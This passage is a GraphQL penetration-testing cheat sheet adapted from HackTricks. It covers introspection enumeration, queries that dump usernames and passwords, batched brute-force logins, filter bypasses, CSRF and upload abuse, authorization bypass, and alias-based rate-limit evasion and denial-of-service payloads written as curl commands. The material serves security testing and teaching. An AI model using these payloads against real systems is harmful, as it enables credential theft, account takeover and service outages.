daemon-sec-cheatsheet

graphql.md (56705B)

---

 ---
 title: "GraphQL"
 section: "Network Services"
 sectionSlug: "network-services-pentesting"
 sourcePath: "src/network-services-pentesting/pentesting-web/graphql.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/graphql.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: false
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # GraphQL
 
 ## Introduction
 
 GraphQL is **highlighted** as an **efficient alternative** to REST API, offering a simplified approach for querying data from the backend. In contrast to REST, which often necessitates numerous requests across varied endpoints to gather data, GraphQL enables the fetching of all required information through a **single request**. This streamlining significantly **benefits developers** by diminishing the intricacy of their data fetching processes.<sup>[[3]](#references)</sup>
 
 ## GraphQL and Security
 
 GraphQL does not provide application authentication or authorization by itself; developers must enforce those controls in the surrounding application and in resolver logic. Without them, endpoints may expose sensitive information or operations to unauthenticated or unauthorized users.<sup>[[1]](#references)[[6]](#references)</sup>
 
 ### Directory Brute Force Attacks and GraphQL
 
 When looking for exposed GraphQL endpoints, include common paths in content-discovery scans. Practical GraphQL testing guides use paths and probes such as these:<sup>[[4]](#references)[[5]](#references)</sup>
 
 - `/graphql`
 - `/graphiql`
 - `/graphql.php`
 - `/graphql/console`
 - `/api`
 - `/api/graphql`
 - `/graphql/api`
 - `/graphql/graphql`
 
 Identifying open GraphQL instances allows for the examination of supported queries. This is crucial for understanding the data accessible through the endpoint. GraphQL's introspection system facilitates this by detailing the queries a schema supports. For more information on this, refer to the GraphQL documentation on introspection: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)<sup>[[20]](#references)</sup>
 
 ### Fingerprint
 
 The tool [**graphw00f**](https://github.com/dolevf/graphw00f) can identify the GraphQL engine used by a server and print information useful to a security auditor.
 
 #### Universal queries <a href="#universal-queries" id="universal-queries"></a>
 
 To check if a URL is a GraphQL service, a **universal query**, `query{__typename}`, can be sent. If the response includes `{"data": {"__typename": "Query"}}`, it confirms the URL hosts a GraphQL endpoint. This method relies on GraphQL's `__typename` field, which reveals the type of the queried object.
 
 ```javascript
 query{__typename}
 ```
 
 ### Basic Enumeration
 
 GraphQL-over-HTTP servers must support `POST` and may support `GET`; mutations must not be executed through `GET`. Compliant servers support JSON request bodies, while some implementations additionally accept form or other simple content types. For state-changing operations, require `POST` with an appropriate JSON content type and deploy normal CSRF protections; rejecting simple content types can remove one common CSRF path but is not a complete CSRF defense.<sup>[[21]](#references)</sup>
 
 #### Introspection
 
 To use introspection to discover schema information, query the `__schema` field. This field is available on the root type of all queries.
 
 ```bash
 query={__schema{types{name,fields{name}}}}
 ```
 
 With this query you will find the name of all the types being used:
 
 ![Basic Enumeration - Introspection: With this query you will find the name of all the types being used](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281036%29.png)
 
 ```bash
 query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
 ```
 
 With this query you can extract all the types, their fields, and their arguments (including argument types). This is useful for learning how to query the API.
 
 ![Basic Enumeration - Introspection: query output showing types, fields, arguments, and argument types](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28950%29.png)
 
 **Errors**
 
 Determine whether detailed **errors** are returned, because they can disclose useful schema and implementation information.
 
 ```text
 ?query={__schema}
 ?query={}
 ?query={thisdefinitelydoesnotexist}
 ```
 
 ![Basic Enumeration - Introspection: ?query={thisdefinitelydoesnotexist}](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28416%29.png)
 
 **Enumerate Database Schema via Introspection**
 
 > [!TIP]
 > If introspection is enabled but the above query doesn't run, try removing the `onOperation`, `onFragment`, and `onField` directives from the query structure.
 
 ```bash
   #Full introspection query
 
 query IntrospectionQuery {
     __schema {
         queryType {
             name
         }
         mutationType {
             name
         }
         subscriptionType {
             name
         }
         types {
          ...FullType
         }
         directives {
             name
             description
             args {
                 ...InputValue
         }
         onOperation  #Often needs to be deleted to run query
         onFragment   #Often needs to be deleted to run query
         onField      #Often needs to be deleted to run query
         }
     }
 }
 
 fragment FullType on __Type {
     kind
     name
     description
     fields(includeDeprecated: true) {
         name
         description
         args {
             ...InputValue
         }
         type {
             ...TypeRef
         }
         isDeprecated
         deprecationReason
     }
     inputFields {
         ...InputValue
     }
     interfaces {
         ...TypeRef
     }
     enumValues(includeDeprecated: true) {
         name
         description
         isDeprecated
         deprecationReason
     }
     possibleTypes {
         ...TypeRef
     }
 }
 
 fragment InputValue on __InputValue {
     name
     description
     type {
         ...TypeRef
     }
     defaultValue
 }
 
 fragment TypeRef on __Type {
     kind
     name
     ofType {
         kind
         name
         ofType {
             kind
             name
             ofType {
                 kind
                 name
             }
         }
     }
 }
 ```
 
 Inline introspection query:
 
 ```text
 /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
 ```
 
 The preceding request is a GraphQL query that dumps schema metadata such as object names, parameters, and types.
 
 ![Basic Enumeration - Introspection: The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28363%29.png)
 
 If introspection is enabled you can use [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) to view in a GUI all the options.<sup>[[2]](#references)</sup>
 
 ### Querying
 
 Now that we know which kind of information is saved inside the database, let's try to **extract some values**.
 
 In the introspection you can find **which object you can directly query for** (because you cannot query an object just because it exists). In the following image you can see that the "_queryType_" is called "_Query_" and that one of the fields of the "_Query_" object is "_flags_", which is also a type of object. Therefore you can query the flag object.
 
 ![Introspection - Querying: In the introspection you can find which object you can directly query for (because you cannot query an object just because it exists). In the following image...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/Screenshot%20from%202021-03-13%2018-17-48.png)
 
 Note that the type of the query "_flags_" is "_Flags_", and this object is defined as below:
 
 ![Introspection - Querying: Note that the type of the query " flags " is " Flags ", and this object is defined as below](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/Screenshot%20from%202021-03-13%2018-22-57%20%281%29.png)
 
 The `_Flags_` objects contain **name** and **value** fields, so you can request all flag names and values with:
 
 ```javascript
 query={flags{name, value}}
 ```
 
 If the **object to query** is a primitive type such as a string, as in the following example:
 
 ![Introspection - Querying: Note that in case the object to query is a primitive type like string like in the following example](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28958%29.png)
 
 You can query it directly with:
 
 ```javascript
 query = { hiddenFlags }
 ```
 
 In another example where there were 2 objects inside the "_Query_" type object: "_user_" and "_users_".\
 If these objects don't need any argument to search, could **retrieve all the information from them** just **asking** for the data you want. In this example from Internet you could extract the saved usernames and passwords:
 
 ![Introspection - Querying: If these objects don't need any argument to search, could retrieve all the information from them just asking for the data you want. In this example from...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28880%29.png)
 
 However, in this example if you try to do so you get this **error**:
 
 ![Introspection - Querying: However, in this example if you try to do so you get this error](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281042%29.png)
 
 Looks like somehow it will search using the "_**uid**_" argument of type _**Int**_.\
 The [Basic Enumeration](/hacktricks/network-services-pentesting/pentesting-web/graphql#basic-enumeration) section already proposed a query that returns the needed information: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 
 If you read the image provided when I run that query you will see that "_**user**_" had the **arg** "_**uid**_" of type _Int_.
 
 In this example, light _**uid**_ brute force reveals that _**uid**=**1**_ returns a username and password:\
 `query={user(uid:1){user,password}}`
 
 ![Introspection - Querying: query={user(uid:1){user,password}}](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2890%29.png)
 
 Note that I **discovered** that I could ask for the **parameters** "_**user**_" and "_**password**_" because if I try to look for something that doesn't exist (`query={user(uid:1){noExists}}`) I get this error:
 
 ![Introspection - Querying: Note that I discovered that I could ask for the parameters " user " and " password " because if I try to look for something that doesn't exist...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28707%29.png)
 
 And during the **enumeration phase** I discovered that the "_**dbuser**_" object had as fields "_**user**_" and "_**password**_.
 
 **Query string dump trick (thanks to @BinaryShadow\_)**
 
 If you can search by a string type, like: `query={theusers(description: ""){username,password}}` and you **search for an empty string** it will **dump all data**. (_Note this example isn't related with the example of the tutorials, for this example suppose you can search using "**theusers**" by a String field called "**description**"_).
 
 ### Searching
 
 The examples in the searching and mutation sections use a **database** containing **persons** and **movies**. **Persons** are identified by their **email** and **name**; **movies** by their **name** and **rating**. **Persons** can be friends with each other and can have movies, representing relationships within the database.
 
 You can **search** persons **by** the **name** and get their emails:
 
 ```javascript
 {
   searchPerson(name: "John Doe") {
     email
   }
 }
 ```
 
 You can **search** persons **by** the **name** and get their **subscribed** **films**:
 
 ```javascript
 {
   searchPerson(name: "John Doe") {
     email
     subscribedMovies {
       edges {
         node {
           name
         }
       }
     }
   }
 }
 ```
 
 Note how its indicated to retrieve the `name` of the `subscribedMovies` of the person.
 
 You can also **search several objects at the same time**. In this case, a search 2 movies is done:
 
 ```javascript
 {
   searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
     name
   }
 }r
 ```
 
 Or even **relations of several different objects using aliases**:
 
 ```javascript
 {
   johnsMovieList: searchPerson(name: "John Doe") {
     subscribedMovies {
       edges {
         node {
           name
         }
       }
     }
   }
   davidsMovieList: searchPerson(name: "David Smith") {
     subscribedMovies {
       edges {
         node {
           name
         }
       }
     }
   }
 }
 ```
 
 ### Mutations
 
 **Mutations are used to make changes in the server-side.**
 
 In the **introspection** you can find the **declared** **mutations**. In the following image the "_MutationType_" is called "_Mutation_" and the "_Mutation_" object contains the names of the mutations (like "_addPerson_" in this case):
 
 ![Searching - Mutations: In the introspection you can find the declared mutations . In the following image the " MutationType " is called " Mutation " and the " Mutation " object contains...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/Screenshot%20from%202021-03-13%2018-26-27%20%281%29.png)
 
 Using the same persons-and-movies schema, a mutation to **create a new movie** in the database can look like the following example (where the mutation is called `addMovie`):
 
 ```javascript
 mutation {
   addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
     movies {
       name
       rating
     }
   }
 }
 ```
 
 **Note how both the values and type of data are indicated in the query.**
 
 Additionally, the database supports a **mutation** operation, named `addPerson`, which allows for the creation of **persons** along with their associations to existing **friends** and **movies**. It's crucial to note that the friends and movies must pre-exist in the database before linking them to the newly created person.
 
 ```javascript
 mutation {
   addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
     person {
       name
       email
       friends {
         edges {
           node {
             name
             email
           }
         }
       }
       subscribedMovies {
         edges {
           node {
             name
             rating
             releaseYear
           }
         }
       }
     }
   }
 }
 ```
 
 ### Directive Overloading
 
 As explained in [**one of the vulns described in this report**](https://www.landh.tech/blog/20240304-google-hack-50000/), a directive overloading implies to call of a directive even millions of times to make the server waste operations until it's possible to DoS it.<sup>[[13]](#references)</sup>
 
 ### Batching brute-force in 1 API request
 
 This information was take from [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).<sup>[[14]](#references)</sup>\
 Authentication through GraphQL API with **simultaneously sending many queries with different credentials** to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords.
 
 Below you can find the simplest demonstration of an application authentication request, with **3 different email/passwords pairs at a time**. Obviously it’s possible to send thousands in a single request in the same way:
 
 ![Directive Overloading - Batching brute-force in 1 API request: Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281081%29.png)
 
 As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token.
 
 ![Directive Overloading - Batching brute-force in 1 API request: As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28119%29%20%281%29.png)
 
 ## GraphQL Without Introspection
 
 More and more **graphql endpoints are disabling introspection**. However, the errors that graphql throws when an unexpected request is received are enough for tools like [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) to recreate most part of the schema.
 
 Moreover, the Burp Suite extension [**GraphQuail**](https://github.com/forcesunseen/graphquail) extension **observes GraphQL API requests going through Burp** and **builds** an internal GraphQL **schema** with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info [**check this**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).<sup>[[15]](#references)</sup>
 
 A nice **wordlist** to discover [**GraphQL entities can be found here**](https://github.com/Escape-Technologies/graphql-wordlist?).
 
 ### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
 
 To bypass restrictions on introspection queries in APIs, inserting a **special character after the `__schema` keyword** proves effective. This method exploits common developer oversights in regex patterns that aim to block introspection by focusing on the `__schema` keyword. By adding characters like **spaces, new lines, and commas**, which GraphQL ignores but might not be accounted for in regex, restrictions can be circumvented. For instance, an introspection query with a newline after `__schema` may bypass such defenses:
 
 ```bash
 # Example with newline to bypass
 {
     "query": "query{__schema
     {queryType{name}}}"
 }
 ```
 
 If unsuccessful, consider alternative request methods, such as **GET requests** or **POST with `x-www-form-urlencoded`**, since restrictions may apply only to POST requests.
 
 ### Try WebSockets
 
 As mentioned in [**this talk**](https://www.youtube.com/watch?v=tIo_t5uUK50), check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL:<sup>[[16]](#references)</sup>
 
 ```javascript
 ws = new WebSocket("wss://target/graphql", "graphql-ws")
 ws.onopen = function start(event) {
   var GQL_CALL = {
     extensions: {},
     query: `
         {
             __schema {
                 _types {
                     name
                 }
             }
         }`,
   }
 
   var graphqlMsg = {
     type: "GQL.START",
     id: "1",
     payload: GQL_CALL,
   }
   ws.send(JSON.stringify(graphqlMsg))
 }
 ```
 
 ### **Discovering Exposed GraphQL Structures**
 
 When introspection is disabled, examining the website's source code for preloaded queries in JavaScript libraries is a useful strategy. These queries can be found using the `Sources` tab in developer tools, providing insights into the API's schema and revealing potentially **exposed sensitive queries**. The commands to search within the developer tools are:
 
 ```javascript
 Inspect/Sources/"Search all files"
 file:* mutation
 file:* query
 ```
 
 ### Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)
 
 When introspection is blocked, **InQL v6.1+** can now reconstruct the reachable schema purely from error feedback. The new *schema bruteforcer* batches candidate field/argument names from a configurable wordlist and sends them in multi-field operations to reduce HTTP chatter. Useful error patterns are then harvested automatically:<sup>[[9]](#references)</sup>
 
 - `Field 'bugs' not found on type 'inql'` confirms the existence of the parent type while discarding invalid field names.
 - `Argument 'contribution' is required` shows that an argument is mandatory and exposes its spelling.
 - Suggestion hints such as `Did you mean 'openPR'?` are fed back into the queue as validated candidates.
 - By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like `[Episode!]`.
 
 The bruteforcer keeps recursing over any type that yields new fields, so a wordlist that mixes generic GraphQL names with app-specific guesses will eventually map large chunks of the schema without introspection. Runtime is limited mostly by rate limiting and candidate volume, so fine-tuning the InQL settings (wordlist, batch size, throttling, retries) is critical for stealthier engagements.
 
 In the same release, InQL ships a **GraphQL engine fingerprinter** (borrowing signatures from tools like `graphw00f`). The module dispatches deliberately invalid directives/queries and classifies the backend by matching the exact error text. For example:<sup>[[9]](#references)</sup>
 
 ```graphql
 query @deprecated {
     __typename
 }
 ```
 
 - Apollo replies with `Directive "@deprecated" may not be used on QUERY.`
 - GraphQL Ruby answers `'@deprecated' can't be applied to queries`.
 
 Once an engine is recognized, InQL surfaces the corresponding entry from the [GraphQL Threat Matrix](https://github.com/nicholasaleks/graphql-threat-matrix), helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).<sup>[[9]](#references)[[10]](#references)</sup>
 
 Finally, **automatic variable generation** removes a classic blocker when pivoting into Burp Repeater/Intruder. Whenever an operation requires a variables JSON, InQL now injects sane defaults so the request passes schema validation on the first send:<sup>[[9]](#references)</sup>
 
 ```text
 "String"  -> "exampleString"
 "Int"     -> 42
 "Float"   -> 3.14
 "Boolean" -> true
 "ID"      -> "123"
 ENUM      -> first declared value
 ```
 
 Nested input objects inherit the same mapping, so you immediately get a syntactically and semantically valid payload that can be fuzzed for SQLi/NoSQLi/SSRF/logic bypasses without manually reverse-engineering every argument.
 
 ## CSRF in GraphQL
 
 If you don't know what CSRF is read the following page:
 
 [Csrf Cross Site Request Forgery](/hacktricks/pentesting-web/csrf-cross-site-request-forgery)
 
 Out there you are going to be able to find several GraphQL endpoints **configured without CSRF tokens.**
 
 Note that GraphQL request are usually sent via POST requests using the Content-Type **`application/json`**.
 
 ```javascript
 {"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}
 ```
 
 However, most GraphQL endpoints also support **`form-urlencoded` POST requests:**
 
 ```javascript
 query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
 ```
 
 Therefore, as CSRF requests like the previous ones are sent **without preflight requests**, it's possible to **perform** **changes** in the GraphQL abusing a CSRF.
 
 Cookies without an explicit `SameSite` attribute are generally treated as `SameSite=Lax`. Such cookies can accompany a cross-site request only when it is a top-level navigation using a safe method (most notably `GET`), so they are not sent with ordinary cross-site subresource requests.<sup>[[22]](#references)</sup>
 
 Some GraphQL servers also accept a **query request as a GET request**, and an implementation might fail to validate its CSRF token on that path.
 
 Also, abusing a [**XS-Search**](../../pentesting-web/xs-search/index.html) **attack** might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user.
 
 For more information **check the** [**original post here**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).<sup>[[17]](#references)</sup>
 
 ### Multipart upload abuse (`Upload` scalar)
 
 A lot of GraphQL stacks implement the **GraphQL multipart request specification** to support `Upload` scalars.<sup>[[11]](#references)</sup> From an offensive point of view, whenever you see `scalar Upload`, `multipart/form-data`, or mutations such as `uploadAvatar`, `createMediaItem`, or `import*`, you should test more than basic file validation:
 
 - **CSRF via multipart**: `multipart/form-data` is a **simple request**, so browsers can send upload mutations cross-origin **without preflight**. This is especially relevant when the application claims to accept only JSON elsewhere.
 - **Upload variable reuse**: GraphQL allows the same variable to be referenced multiple times. If the backend doesn't enforce single-use upload variables, reusing one file stream in several resolver arguments can trigger double reads, premature stream exhaustion, or server-side buffering/memory pressure.
 - **Orphan parts / excess files**: some multipart parsers buffer every received file before checking whether it is actually referenced in the `map` field. Sending large unused parts is therefore a good way to probe for disk/RAM exhaustion.
 
 Quick test for **variable reuse**:
 
 ```bash
 curl -X POST https://target/graphql \
   -F 'operations={"query":"mutation($f: Upload!){a:uploadAvatar(file:$f){id} b:uploadAvatar(file:$f){id}}","variables":{"f":null}}' \
   -F 'map={"0":["variables.f"]}' \
   -F '0=@/tmp/poc.bin'
 ```
 
 Also try malformed `map` objects with **extra file parts** (for example a second part not referenced anywhere) and watch for differences in response time, temporary-file growth, or reverse-proxy errors.
 
 ## Cross-site WebSocket hijacking in GraphQL
 
 Similar to CRSF vulnerabilities abusing graphQL it's also possible to perform a **Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies** and make a user perform unexpected actions in GraphQL.
 
 For more information check:
 
 [Websocket Attacks](/hacktricks/pentesting-web/websocket-attacks)
 
 ## Authorization in GraphQL
 
 Many GraphQL functions defined on the endpoint might only check the authentication of the requester but not authorization.
 
 Modifying query input variables could lead to sensitive account details [leaked](https://hackerone.com/reports/792927).<sup>[[19]](#references)</sup>
 
 Mutation could even lead to account takeover trying to modify other account data.
 
 ```javascript
 {
   "operationName":"updateProfile",
   "variables":{"username":INJECT,"data":INJECT},
   "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
 }
 ```
 
 ### Bypass authorization in GraphQL
 
 [Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) together can bypass a weak authentication system.<sup>[[18]](#references)</sup>
 
 In the below example you can see that the operation is "forgotPassword" and that it should only execute the forgotPassword query associated with it. This can be bypassed by adding a query to the end, in this case we add "register" and a user variable for the system to register as a new user.
 
 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
 
 ## Persisted queries / APQ are **not** a security boundary
 
 A common blue-team assumption is that **Automatic Persisted Queries (APQ)** prevent arbitrary GraphQL from reaching the server because clients normally send only a SHA-256 hash. In practice, APQ is mostly a **bandwidth/latency optimization**, not a safelist:<sup>[[12]](#references)</sup>
 
 1. send only the hash and `extensions.persistedQuery`
 2. if the server answers with `PersistedQueryNotFound`, resend the same request **with the full `query` string**
 3. many Apollo-style deployments will execute it and cache that operation for later requests
 
 This means that if the target only enabled APQ, you can often still submit **new introspection queries, aliases, deep fragments, or brute-force mutations** on the first request. Real safelisting normally requires a **pre-registered persisted-query list** and rejecting raw operation strings.
 
 ```json
 {
   "operationName": "probe",
   "variables": null,
   "extensions": {
     "persistedQuery": {
       "version": 1,
       "sha256Hash": "<unknown-hash>"
     }
   }
 }
 ```
 
 If the response contains `PersistedQueryNotFound`, immediately retry adding a full `query` field. Also note that some clients use **GET** for hash-only APQ requests and only fall back to a full query when the hash misses, so WAF or cache rules built around the hash-only path may miss the dangerous request.
 
 ## Bypassing Rate Limits Using Aliases in GraphQL
 
 In GraphQL, aliases are a powerful feature that allow for the **naming of properties explicitly** when making an API request. This capability is particularly useful for retrieving **multiple instances of the same type** of object within a single request. Aliases can be employed to overcome the limitation that prevents GraphQL objects from having multiple properties with the same name.
 
 For a detailed understanding of GraphQL aliases, the following resource is recommended: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
 
 While the primary purpose of aliases is to reduce the necessity for numerous API calls, an unintended use case has been identified where aliases can be leveraged to execute brute force attacks on a GraphQL endpoint. This is possible because some endpoints are protected by rate limiters designed to thwart brute force attacks by restricting the **number of HTTP requests**. However, these rate limiters might not account for the number of operations within each request. Given that aliases allow for the inclusion of multiple queries in a single HTTP request, they can circumvent such rate limiting measures.
 
 Consider the example provided below, which illustrates how aliased queries can be used to verify the validity of store discount codes. This method could sidestep rate limiting since it compiles several queries into one HTTP request, potentially allowing for the verification of numerous discount codes simultaneously.
 
 ```bash
 # Example of a request utilizing aliased queries to check for valid discount codes
 query isValidDiscount($code: Int) {
     isvalidDiscount(code:$code){
         valid
     }
     isValidDiscount2:isValidDiscount(code:$code){
         valid
     }
     isValidDiscount3:isValidDiscount(code:$code){
         valid
     }
 }
 ```
 
 ## DoS in GraphQL
 
 ### Alias Overloading
 
 **Alias Overloading** is a GraphQL vulnerability where attackers overload a query with many aliases for the same field, causing the backend resolver to execute that field repeatedly. This can overwhelm server resources, leading to a **Denial of Service (DoS)**. For example, in the query below, the same field (`expensiveField`) is requested 1,000 times using aliases, forcing the backend to compute it 1,000 times, potentially exhausting CPU or memory:
 
 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "Content-Type: application/json" \
     -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
     'https://example.com/graphql'
 ```
 
 To mitigate this, implement alias count limits, query complexity analysis, or rate limiting to prevent resource abuse.
 
 ### **Array-based Query Batching**
 
 **Array-based Query Batching** is a vulnerability where a GraphQL API allows batching multiple queries in a single request, enabling an attacker to send a large number of queries simultaneously. This can overwhelm the backend by executing all the batched queries in parallel, consuming excessive resources (CPU, memory, database connections) and potentially leading to a **Denial of Service (DoS)**. If no limit exists on the number of queries in a batch, an attacker can exploit this to degrade service availability.
 
 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" \
 -H "Content-Type: application/json" \
